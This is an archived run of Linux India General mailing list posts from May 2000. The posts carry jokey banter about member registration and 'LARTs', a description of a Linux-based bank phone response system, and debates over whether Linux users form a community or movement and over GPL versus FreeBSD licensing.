rockford.myip.org ([202.9.149.12]) by eth.net with Microsoft SMTPSVC(5.5.1877.117.11); Mon, 29 May 2000 18:11:26 +0530 Received: from ravi by rockford.myip.org with local (Exim 3.12 #1 (Debian)) id 12wOqQ-0000BN-00 for ; Mon, 29 May 2000 18:10:34 +0530 From: "Ravikant K.Rao" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 29 May 2000 18:10:33 +0530 (IST) To: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration In-Reply-To: <86k8gef2qe.fsf@DemiUrge.in.ibm.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14642.25617.393753.802111@rockford.myip.org> X-Archive-Number: 200005/160 >>>>> "Syed" == Syed Khader Vali writes: Atul> For those of you who did not attend the meet - I proposed a Atul> "membership fee" (actually just a payment for covering the Atul> cost of printing membership cards) of Rs.10. Yes - that is Atul> TEN Rupees, or about $0.25. One time. Period. Any "student" Syed> Well, I guess then ravi can spend it "better " on ... now Syed> :-) *LARTS Khader* :-) hehe.. Duh, if you re-read my email, you will notice that there were ! and !!'s and *maybe* ;)'s also ... the bit about students being entirely impoverished and penniless was in jest, and an attempt at humour. Sadly, it got mistaken to baseless bickering ... Anyhow, no more post qualifications ... but do let me clarify that my previous post was intended to entice laughter, and not strong emotions and hatred against the student community. BTW, don't draw conclusions about the *entire* student community at large .. it so happened that I was the only guy that cared to post a reply .. so my post need not necessarily reflect the ideas/views of ilugc/students/whatever ... *sigh* so many disclaimers/qualifications/stuff that need to be done these days for a single post :-( Cheers --Ravi "penniless student" Rao (!) -- Ravikant K.Rao : http://www.symonds.net/~ravi/ Primary Email : | PGP: 9544A4A1 GPG: 1024D/C2FC752D From linux-india-general-owner@lists.linux-india.org Mon May 29 05:48:11 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 7C4E6380B4 for ; Mon, 29 May 2000 05:48:03 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id SAAAA11874; Mon, 29 May 2000 18:17:53 +0530 (IST) Date: Mon, 29 May 2000 18:17:53 +0530 From: Suresh Ramasubramanian To: "Ravikant K.Rao" Cc: Linux India General Subject: Re: Formal Member Registration Message-ID: <20000529181753.C8092@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: "Ravikant K.Rao" , Linux India General Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <14642.25617.393753.802111@rockford.myip.org>; from ravikant@mailandnews.com on Mon, May 29, 2000 at 06:10:33PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/161 Ravikant K.Rao saw fit to inform LI that: > Syed> Well, I guess then ravi can spend it "better " on ... now > Syed> :-) > > *LARTS Khader* :-) hehe.. *fuel to fire* LART = L00zer Attitude Readjustment Tool ;) -- Suresh Ramasubramanian | sureshr at staff.juno.com Tell me, O Octopus, I begs, Is those things arms, or is they legs? I marvel at thee, Octopus; If I were thou, I'd call me us. -- Ogden Nash From linux-india-general-owner@lists.linux-india.org Mon May 29 05:54:41 2000 Received: from fangorn.localdomain (unknown [202.54.51.184]) by www.aunet.org (Postfix) with ESMTP id 7B5C6380B7 for ; Mon, 29 May 2000 05:54:30 -0700 (PDT) Received: from localhost (localhost [[UNIX: localhost]]) by fangorn.localdomain (8.9.3/8.8.7) id SAA03351 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 18:25:42 +0600 From: Devdas Bhagat Reply-To: dodobh@nettaxi.com To: Linux India General Subject: [OFF TOPIC]Re: Formal Member Registration Date: Mon, 29 May 2000 18:23:15 +0600 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain In-Reply-To: <20000529181753.C8092@staff.juno.com> MIME-Version: 1.0 Message-Id: <00052918254202.00614@fangorn.localdomain> Content-Transfer-Encoding: 8bit X-Archive-Number: 200005/162 On Mon, 29 May 2000, Suresh Ramasubramanian wrote: > *fuel to fire* LART = L00zer Attitude Readjustment Tool ;) What, in your opinion is the best LART?? IMHO, a 6000 (I think minimum req) gauss magnet over the hard disk works wonders. Or installing Linux without X on a windows lovers machine :). Devdas Bhagat -- When I left you, I was but the pupil. Now, I am the master. - Darth Vader From linux-india-general-owner@lists.linux-india.org Mon May 29 06:00:37 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 43E3D3802E for ; Mon, 29 May 2000 06:00:26 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id SAAAA12801; Mon, 29 May 2000 18:30:02 +0530 (IST) Date: Mon, 29 May 2000 18:30:01 +0530 From: Suresh Ramasubramanian To: Devdas Bhagat Cc: Linux India General Subject: Re: [OFF TOPIC]Re: Formal Member Registration Message-ID: <20000529183001.F8092@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: Devdas Bhagat , Linux India General Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00052918254202.00614@fangorn.localdomain>; from dodobh@nettaxi.com on Mon, May 29, 2000 at 06:23:15PM +0600 Organization: Juno Abuse Desk X-Archive-Number: 200005/163 Devdas Bhagat saw fit to inform LI that: >On Mon, 29 May 2000, Suresh Ramasubramanian wrote: > >> *fuel to fire* LART = L00zer Attitude Readjustment Tool ;) >What, in your opinion is the best LART?? I prefer a 500 megaton nuke ;) >IMHO, a 6000 (I think minimum req) gauss magnet over the hard disk works >wonders. Or installing Linux without X on a windows lovers machine :). Hmmm... what's that quote from Zaphod in HHGTG - "Computer, if you dont .... I will be forced to reprogram you with an ax" ;) -- Suresh Ramasubramanian | sureshr at staff.juno.com Tell me, O Octopus, I begs, Is those things arms, or is they legs? I marvel at thee, Octopus; If I were thou, I'd call me us. -- Ogden Nash From linux-india-general-owner@lists.linux-india.org Mon May 29 06:00:57 2000 Received: from eth.net (unknown [202.9.145.10]) by www.aunet.org (Postfix) with ESMTP id CFA8D3802E for ; Mon, 29 May 2000 06:00:42 -0700 (PDT) Received: from rockford.myip.org ([202.9.149.12]) by eth.net with Microsoft SMTPSVC(5.5.1877.117.11); Mon, 29 May 2000 18:27:38 +0530 Received: from ravi by rockford.myip.org with local (Exim 3.12 #1 (Debian)) id 12wP65-0000CF-00 for ; Mon, 29 May 2000 18:26:45 +0530 From: "Ravikant K.Rao" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 29 May 2000 18:26:44 +0530 (IST) To: linux-india-general@lists.linux-india.org Subject: LARTing [WAS] Re: Formal Member Registration In-Reply-To: <20000529181753.C8092@staff.juno.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14642.26388.877535.934902@rockford.myip.org> X-Archive-Number: 200005/164 >>>>> "Suresh" == Suresh Ramasubramanian writes: >> *LARTS Khader* :-) hehe.. Suresh> *fuel to fire* LART = L00zer Attitude Readjustment Tool ;) 5ur35h speaketh 31337 language eh? ;) It be "Luser Attitude Re-adjustment Tool" :p *L4R7s 5ur35h*, too :-) :-) --ravi "in a larty mood" rao. -- Ravikant K.Rao : http://www.symonds.net/~ravi/ Primary Email : | PGP: 9544A4A1 GPG: 1024D/C2FC752D From linux-india-general-owner@lists.linux-india.org Mon May 29 06:04:42 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id C6982380CA for ; Mon, 29 May 2000 06:04:35 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id SAAAA12954; Mon, 29 May 2000 18:34:26 +0530 (IST) Date: Mon, 29 May 2000 18:34:26 +0530 From: Suresh Ramasubramanian To: "Ravikant K.Rao" Cc: linux-india-general@lists.linux-india.org Subject: Re: LARTing [WAS] Re: Formal Member Registration Message-ID: <20000529183426.G8092@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: "Ravikant K.Rao" , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <14642.26388.877535.934902@rockford.myip.org>; from ravikant@mailandnews.com on Mon, May 29, 2000 at 06:26:44PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/165 I've got a _really_ great address for larting from - mallet@cluestick.org - try to beat that ;) -s Ravikant K.Rao saw fit to inform LI that: >>>>>> "Suresh" == Suresh Ramasubramanian writes: > > >> *LARTS Khader* :-) hehe.. > > Suresh> *fuel to fire* LART = L00zer Attitude Readjustment Tool ;) > > 5ur35h speaketh 31337 language eh? ;) > > It be "Luser Attitude Re-adjustment Tool" :p > > *L4R7s 5ur35h*, too :-) :-) > > --ravi "in a larty mood" rao. -- Suresh Ramasubramanian | sureshr at staff.juno.com Tell me, O Octopus, I begs, Is those things arms, or is they legs? I marvel at thee, Octopus; If I were thou, I'd call me us. -- Ogden Nash From linux-india-general-owner@lists.linux-india.org Mon May 29 06:12:39 2000 Received: from md4.vsnl.net.in (md4.vsnl.net.in [202.54.6.60]) by www.aunet.org (Postfix) with ESMTP id 8F0C938093 for ; Mon, 29 May 2000 06:12:31 -0700 (PDT) Received: from localhost.localdomain ([203.197.135.208]) by md4.vsnl.net.in (8.9.3/8.9.3) with ESMTP id SAA09913 for ; Mon, 29 May 2000 18:47:55 +0530 (IST) Received: (from g@localhost) by localhost.localdomain (8.9.3/8.9.3) id SAA00576 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 18:42:50 +0530 Date: Mon, 29 May 2000 18:42:49 +0530 From: G Gautam To: linux-india-general@lists.linux-india.org Subject: Re: Linus Vs Tannenbaum Spat Message-ID: <20000529184249.A521@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: <20000529123227.25265.qmail@web204.mail.yahoo.com>; from biju_chacko@yahoo.com on Mon, May 29, 2000 at 05:32:27AM -0700 X-Mailer: Mutt 1.1.2i on RedHat Linux 6.1 X-Archive-Number: 200005/166 On May 29, Biju Chacko wrote: > Anybody know where I can find an archive of the famous (notorious?) > Usenet spat between Linus and Andrew Tannenbaum? I'd rather not wade > through DejaNews. http://www.oreilly.com/catalog/opensources/book/toc.html has a lot more than that too. Whole book online. Gautam From linux-india-general-owner@lists.linux-india.org Mon May 29 06:52:52 2000 Received: from nagpur.dot.net.in (nagpur.vsnl.net.in [202.54.50.1]) by www.aunet.org (Postfix) with ESMTP id 7FBDB38084; Mon, 29 May 2000 06:52:44 -0700 (PDT) Received: from satyam.net.in (PPP50-106.dot.vsnl.net.in [202.54.50.106]) by nagpur.dot.net.in (8.9.3/8.9.3) with SMTP id TAA22681; Mon, 29 May 2000 19:25:56 +0530 (IST) Message-ID: <000001bfc975$d52fcee0$f201a8c0@satyam.net.in> From: "Mukund Deshmukh" To: "LI Help" , "Linux India General" Subject: IVRS on linux. Date: Mon, 29 May 2000 19:21:30 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-Archive-Number: 200005/167 Hi, We have installed an Interactive Voice Response System based on LINUX, for cooperative bank in Nagpur. How it works. 1. When the user dials in he is greeted with a message and asked to enter his account number. 2. If the account number is correct then he is asked to enter his password or the passnumber). 3. If the password is correct he is given several options to know his account details like, share amount, details of loan taken, installments if any due, details of fixed deposits, details of rd account etc. 4. The user can change his password also. 5. Finally the user is thanked and wished away. How it is implemented, 1. The vgetty is run from the inittab which looks for incoming telephone call. 2. When the call comes vgetty runs a perl script (written from scratch ), which in turn *talks* to voice shell vm 3. The perl script and voice shell to gather *talks* to modem and telephone line. 4. The perl script also interfaces with the data base to fetch the required user data. 5. The watch dog of vgetty keeps the watch on perl script and modem, and kills the process if some thing goes wrong. Best Regards, M.S.Deshmukh, Director. Beta Computronics Pvt. Ltd. Web Site - http://betacomp.com From linux-india-general-owner@lists.linux-india.org Mon May 29 07:12:03 2000 Received: from hbcse.tifr.res.in (unknown [158.144.44.129]) by www.aunet.org (Postfix) with ESMTP id 3E3F63809D for ; Mon, 29 May 2000 07:11:56 -0700 (PDT) Received: from localhost (nagarjun@localhost) by hbcse.tifr.res.in (8.9.3/8.9.3) with ESMTP id TAA05140; Mon, 29 May 2000 19:40:23 +0530 Date: Mon, 29 May 2000 19:40:21 +0530 (IST) From: "Nagarjuna G." To: Raju Mathur Cc: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration In-Reply-To: <14642.5852.691489.598510@malhaar.internal.palcom.net> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/168 On Mon, 29 May 2000, Raju Mathur wrote: ->Hi Arun, -> ->I agree with Atul that Linux is a movement and Linux lovers a ->community. You made the point yourself: no one calls X users a ->community or X a movement. However, there are qualities which ->characterise people who run Linux because they prefer to run it (not ->including corporates who're just using it because it's the best ->solution for their problems): -> I agree with Raju, Atul and others, and differ with Arun. I would in fact go a little further and call it a social PHENOMENON, or a social PROCESS. My justification is as follows: There are many movements in the history that died after the main proponenents vanished from the scene (either due to natural death or otherwise.) Open Source movement, to my reading, is more than a movement, because even if, Linus stops releasing the kernel sources, or RMS stops supporting GNU, or some other evangelist differs due to whatever reason, the phenomena of open sourcing will not stop. As a student of history of ideas, I wish to share the observation (or prophecy if you like) that open sourcing became an AUTONOMOUS social phenomenon -- whether one thinks he/she is a part of it or not it affects everybody, including those who think they dont belong to the community. Nagarjuna From linux-india-general-owner@lists.linux-india.org Mon May 29 08:15:24 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 8479638071 for ; Mon, 29 May 2000 08:14:52 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id UAA07634 for ; Mon, 29 May 2000 20:44:05 +0530 Date: Mon, 29 May 2000 20:44:05 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Formal Member Registration In-Reply-To: <14642.25617.393753.802111@rockford.myip.org> Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/169 On Mon, 29 May 2000, Ravikant K.Rao wrote: > Duh, if you re-read my email, you will notice that there were > ! and !!'s and *maybe* ;)'s also ... the bit about students being > entirely impoverished and penniless was in jest, and an attempt at > humour. Sadly, it got mistaken to baseless bickering ... Ravi: if that was meant to be humour, you managed to release the ultimate damp firecracker - only Microsoft BOB fell flatter. ;-) The standard approach is to use :-) and ;-) or maybe >;-> or even @|-) *somewhere* in the message (preferably early on) to indicate that we are official in tongue-in-cheek mode. Raju and I even go to extremes, using universally understood xGML tags such as to indicate ththe funny stuff to help the funny-bone-impaired folks get into the act. Atul From linux-india-general-owner@lists.linux-india.org Mon May 29 09:01:36 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id C081938071 for ; Mon, 29 May 2000 09:01:30 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id JAA06123 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 09:01:17 -0700 Date: Mon, 29 May 2000 09:01:17 -0700 From: Arun Sharma To: Linux India General Subject: Community and Movement (Was Re: Formal Member Registration) Message-ID: <20000529090116.A6104@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <20000529100952.12637.qmail@web209.mail.yahoo.com>; from Biju Chacko on Mon, May 29, 2000 at 03:09:52AM -0700 X-Archive-Number: 200005/170 On Mon, May 29, 2000 at 03:09:52AM -0700, Biju Chacko wrote: > > I have to admit that I use Linux for the same reason, that and the fact > that I dislike the way use of M$'s products (some of which are very > good) limits my choices. I don't think all software should be GPLed. > Having a common enemy helps people together ;) People who meet each other in prisons, have a common enemy - the state. They have a cause - social injustice. Are they a community ? I think they're too varied in their backgrounds - some may be wife beaters, others murderers, some innocents, some political prisoners. > However, I think the moment I discussed how to inform people of Linux > with other Linux users I became part of a "movement". It certainly > wasn't a company, a corporation, a co-operative, an association or an > organisation. What can you call it other than a "movement" or > "community" ? As long as the words are used in a loose sense, there is no problem. Community = group of people with a common interest. But these are also strong words (just as "freedom" is) and can be potentially misused. > I don't think being a part of the Linux community forces > you to subscribe to the political views of the most vocal section of > it. Which is why, I'm a part of the Linux community, but not a part of the Linux "community". And I continue to talk about these things, instead of dropping out and shutting myself among a group of BSD users. > I don't think rejecting the GPL forces one to reject the concept of > community. The very fact that you posted your opinions to this list > makes you a member of the very community you reject. If you think that > the Linux Community is being hijacked by GPLites, stand up and > represent those members (like me) who aren't interested in politics > muddying technical issues. I don't have a problem with this paragraph :-) In the sense you describe here, I'm a part of the linux community. -Arun From linux-india-general-owner@lists.linux-india.org Mon May 29 10:00:26 2000 Received: from blr.vsnl.net.in (blr.vsnl.net.in [202.54.12.6]) by www.aunet.org (Postfix) with ESMTP id 6168038088 for ; Mon, 29 May 2000 10:00:15 -0700 (PDT) Received: from udhay (PPP-185-13.bng.vsnl.net.in [203.197.185.13]) by blr.vsnl.net.in (8.9.3/8.9.3) with ESMTP id WAA00407 for ; Mon, 29 May 2000 22:20:45 +0530 (IST) X-Pgp-Dsskey: 0x55FAB8D3 X-Pgp-Rsakey: 0xCAA67415 Message-Id: <4.2.0.58.20000529221206.009faeb0@oyemail.com> X-Nil: Date: Mon, 29 May 2000 22:17:45 +0530 To: Linux India General From: Udhay Shankar N Subject: Re: Community and Movement In-Reply-To: <20000529090116.A6104@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Archive-Number: 200005/171 At 09:01 AM 5/29/00 -0700, Arun Sharma wrote: >Having a common enemy helps people together ;) Time for my usual tactic of interjecting Rush lyrics into any discussion. The Trees ========= There is unrest in the forest, There is trouble with the trees, For the maples want more sunlight And the oaks ignore their pleas. The trouble with the maples, (And they're quite convinced the're right) They say the oaks are just too lofty And they grab up all the light. But the oaks can't help their feelings If they like the way they're made. And they wonder why the maples Can't be happy in their shade. So the maples formed a union And demanded equal rights. "These oaks are just too greedy; We will make them give us light." Now there's no more oak oppression, For they passed a noble law, And the trees are all kept equal BY HATCHET, AXE, AND SAW. -- _____________________________________________________________________ http://www.unimobile.com/ http://pobox.com/~udhay Unimobile - the world's first internet mobile Now Live ! From linux-india-general-owner@lists.linux-india.org Mon May 29 10:01:01 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 7376C380E5 for ; Mon, 29 May 2000 10:00:56 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id KAA06282 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 10:00:40 -0700 Date: Mon, 29 May 2000 10:00:40 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: What is Linux ? (Was Re: Formal Member Registration) Message-ID: <20000529100040.B6104@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <200005290814.NAA23646@cal.vsnl.net.in>; from Indranil Das Gupta on Mon, May 29, 2000 at 01:09:58PM +0530 X-Archive-Number: 200005/172 On Mon, May 29, 2000 at 01:09:58PM +0530, Indranil Das Gupta wrote: > term "community" in a loose sense)... the principal underlying > binding that held us all together was the technology and the > love/fascination/admiration/fanaticsm we shared for it... although > the so-called "politics of Linux" was also in evidence. Technology helps people socialize. The Mozilla party for example had a network of machines for playing Quake. Is there a quake movement or community ? > political statement. If the GNU/GPL is a political statement, by the > same yardstick, the FreeBSD license model is as much political as is > the proprietory model of s/w licensing.... Non aligned movement _is_ a /political/ movement of the cold war era. I think BSD is similar in many respects. You could use it to socialize, have fun, exchange code, do academic research and later you could use it to earn a living. In that sense, it's politically neutral. The emphasis is on technology, not the community. When Bill Joy took away the code and started Sun Microsystems, few people saw him as a traitor. He continued to be a part of the BSD world and respected for his technical prowess and vision. Compare that to his colleague James Gosling's fate. > I don't feel comfortable with the idea that Linux is good but > GPL is bad. Sure... GPL does make things a little difficult for > ppl/organisations trying to commercially exploit the potentials of > Linux... One of the reasons why I'm quibbling over the use of words here. By repeating the same themes over and over again, people are conditioned to believe the ideas. "Commercially exploit" is the case in point. > Technical points aside, IMVHO, its precisely the GPL that makes Linux -- > Linux and not FreeBSD! That's the heart of the argument. After spending the last 6 months or so reading BSD mailing lists and literature (predominantly FreeBSD), I think Linux ~= FreeBSD. Even if you were using FreeBSD, you'd be asking the same questions about fetchmail, sendmail, apache, X, networking and to a lesser extent, perl, python and C. Because, the non GPL'ed projects focus on software and not the community, you don't hear that much about them - you just use them and get your job done. A side effect of this whole community business is software bigotry. Even when someone comes up with a technically superior solution (Note: I'm not saying that BSD is "better than" linux in all respects), you can't move away "betraying" your brothers and sisters in the community [1]. So when you say "Linux", a significant (but non vocal) part of it is really "FreeBSD". You just don't realize it, because there is no community or the movement. For those of you watching from the sidelines, asking yourselves, "Man, I'm impressed! But should I go burn my Linux CD and buy a FreeBSD CD ?", my advice would be to stick with Linux, if Linux is getting your job done (as is most likely). But please be aware of these issues and if Linux were to move further into GPL land (as I hope would not happen) or you start experiencing growing pains with Linux, remember there is an alternative. -Arun [1] You probably won't have that much of a problem switching from sendmail to qmail or postfix. But you realize that you have a problem switching from Linux to FreeBSD. Why ? It's the community and movement. Is that good or bad ? It's up to you to decide. From linux-india-general-owner@lists.linux-india.org Mon May 29 10:08:59 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id CD2F3380CE for ; Mon, 29 May 2000 10:08:52 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id KAA06307 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 10:08:39 -0700 Date: Mon, 29 May 2000 10:08:39 -0700 From: Arun Sharma To: Linux India General Subject: Re: Formal Member Registration Message-ID: <20000529100839.C6104@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Atul Chitnis on Mon, May 29, 2000 at 12:12:05PM +0530 X-Archive-Number: 200005/173 On Mon, May 29, 2000 at 12:12:05PM +0530, Atul Chitnis wrote: > > Remember Swami Vivekananda's first speech in the USA? He was the last to > speak, and when he started, he said "Brothers and Sisters of America" and > brought the house down. He got everyone's attention, and no one forgot him > or what he had to say. He was speaking at the World Parliament of _Religions_. On a personal note, I've spent a year at one of Sri Ramakrishna Mission schools. I like some of his agnostic thoughts, but I think religion has brought more misery to people than good. Therefore, I advocate less religion rather than more. -Arun From linux-india-general-owner@lists.linux-india.org Mon May 29 10:12:06 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id D7F01380F4 for ; Mon, 29 May 2000 10:12:02 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id KAA06328 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 10:11:49 -0700 Date: Mon, 29 May 2000 10:11:49 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration Message-ID: <20000529101149.D6104@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <14642.5852.691489.598510@malhaar.internal.palcom.net>; from Raju Mathur on Mon, May 29, 2000 at 12:36:04PM +0530 X-Archive-Number: 200005/174 On Mon, May 29, 2000 at 12:36:04PM +0530, Raju Mathur wrote: Raju, > > - Most are sold to the idea of free software, GNU, GPL, etc. As you > said yourself in an earlier mail, you aren't, so you dropped out of > the community. Fair enough. I dropped out of the community, but not the Linux users group :) -Arun From linux-india-general-owner@lists.linux-india.org Mon May 29 10:38:07 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 7CB69380DA for ; Mon, 29 May 2000 10:38:03 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id KAA06448 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 10:37:49 -0700 Date: Mon, 29 May 2000 10:37:49 -0700 From: Arun Sharma To: Linux India General Subject: Re: Kerala evolving new vistas in e-governance Message-ID: <20000529103749.E6104@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Atul Chitnis on Mon, May 29, 2000 at 11:42:35AM +0530 X-Archive-Number: 200005/175 On Mon, May 29, 2000 at 11:42:35AM +0530, Atul Chitnis wrote: > Nice writeup on Linux usage in the Kerala Government. > > http://www.indiaserver.com/thehindu/2000/05/26/stories/0426211w.htm First it was China, now it's Kerala. I'm not trying to sound cynical here. But the obvious communist influence is not to be missed. I don't believe that communism is completely evil. But a lot of people I've chatted with on the net, do. And they argue that Linux and GPL have nothing to do with communism, because they are all about "freedom" and one can't talk about freedom and communism in the same sentence. The project which is now getting a close look from the State Planning Board is touted to be a perfect `Kerala Model' just like the one in social development which is characterised by low GDP, but high quality of life indices and acclaimed the world over. I normally try not to bring in the "C" word into the discussion, as it quickly degenerates from that point. Hopefully not this time ? -Arun PS: Those interested in the discussion can follow chat@freebsd.org archives: http://www.FreeBSD.org/cgi/search.cgi?words=Kerala&max=25&sort=score&source=freebsd-chat I'd love to hear from the people of kerala about their views - probably offline. From linux-india-general-owner@lists.linux-india.org Mon May 29 10:41:29 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 53460380E5 for ; Mon, 29 May 2000 10:41:26 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id KAA06468 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 10:41:12 -0700 Date: Mon, 29 May 2000 10:41:12 -0700 From: Arun Sharma To: Linux India General Subject: Re: IVRS on linux. Message-ID: <20000529104112.F6104@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <000001bfc975$d52fcee0$f201a8c0@satyam.net.in>; from Mukund Deshmukh on Mon, May 29, 2000 at 07:21:30PM +0530 X-Archive-Number: 200005/176 On Mon, May 29, 2000 at 07:21:30PM +0530, Mukund Deshmukh wrote: > 2. When the call comes vgetty runs a perl script (written from scratch ), > which in turn *talks* to voice shell vm What is a voice shell vm ? -Arun From linux-india-general-owner@lists.linux-india.org Mon May 29 11:26:50 2000 Received: from MailAndNews.com (MailAndNews.com [199.29.68.160]) by www.aunet.org (Postfix) with ESMTP id A04EF380DA for ; Mon, 29 May 2000 11:26:45 -0700 (PDT) Received: from croton [12.10.209.145] (sthitaprajna@mailandnews.com); Mon, 29 May 2000 14:26:42 -0400 X-WM-Posted-At: MailAndNews.com; Mon, 29 May 00 14:26:42 -0400 From: "Sthitaprajna" Organization: Nell To: linux-india-general@lists.linux-india.org Date: Mon, 29 May 2000 23:56:30 +0530 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: (Was Re: Formal Member Registration) Reply-To: sthitaprajna@mailandnews.com X-mailer: Pegasus Mail for Win32 (v3.12) Message-Id: <20000529182645.A04EF380DA@www.aunet.org> X-Archive-Number: 200005/177 On Mon, May 29, 2000 at 01:09:58PM +0530, Indranil Das Gupta wrote: > GPL is bad. Sure... GPL does make things a little difficult for > ppl/organisations trying to commercially exploit the potentials of > Linux... What is wrong with "commercially trying to exploit the potential of Linux"? For any operating system, or for that matter anything in this world that has been created by /homo sapiens/, is uaually in a state of flux, and there are some people who do things better than others. Would you grudge these people because they are benefiting from their talents commercially? Would these same set of people become demi-gods if they gave everything away for free? Are'nt RedHat Inc., SuSE gmbh commercially exploiting Linux by selling packaged CDs for more than the cost of the raw CD and burning? Even if they are, it _is_ a necessity. It is a case of optimising. Or how else do you think would you popularise Linux? If you read Tim OReilly's column at their site, there was a debate some time back - GNU god RMS had denounced OReilly Press because according to him, the quality of OReilly's books made it difficult for other free source authors to become compete and become popular. What sh*t! If anything, it only went to say something of the quality of OR's books and RMS's rant. Is OReilly press commercially exploiting Linux? > sure that hackers/programmers the very ppl who built it all up > continues > to have the right to do what they have been > doing --> creating s/w, without any hindrance. Technical points > aside, > IMVHO, its precisely the GPL that makes Linux -- > Linux and not FreeBSD! I don't see how using FreeBSD dissociates anyone from the open source model. 99% of what you use with Linux and FBSD is the same stuff. Both use the GNU software that comes for free. The only difference is the kernel. Both of them allow you to use FSF's software and develop you own apps. When the GNU Hurd is available(if it ever will be), you'll have another option. Maybe you'll want to switch over then, in favour of the micro-kernel arch..Will your switch reflect as being a betrayal of the Linux community? Don't think so. Both have their sources out in the open if you want to develop. It is a case of trying out the stuff and seeing if you can do what you want with it, and do it better.If Linux does it for you fine, if FBSD does it fine, heck, if MS Win satisfies you, stick to it. If the only reason for choosing an OS is the license, then I guess,all my "logic" falls flat:-> -Regards SP PS: Indro, could you please set you MUA to wrap long lines, to something like 72-76 chars. My prog here has problems handling the loooong lines;-) From 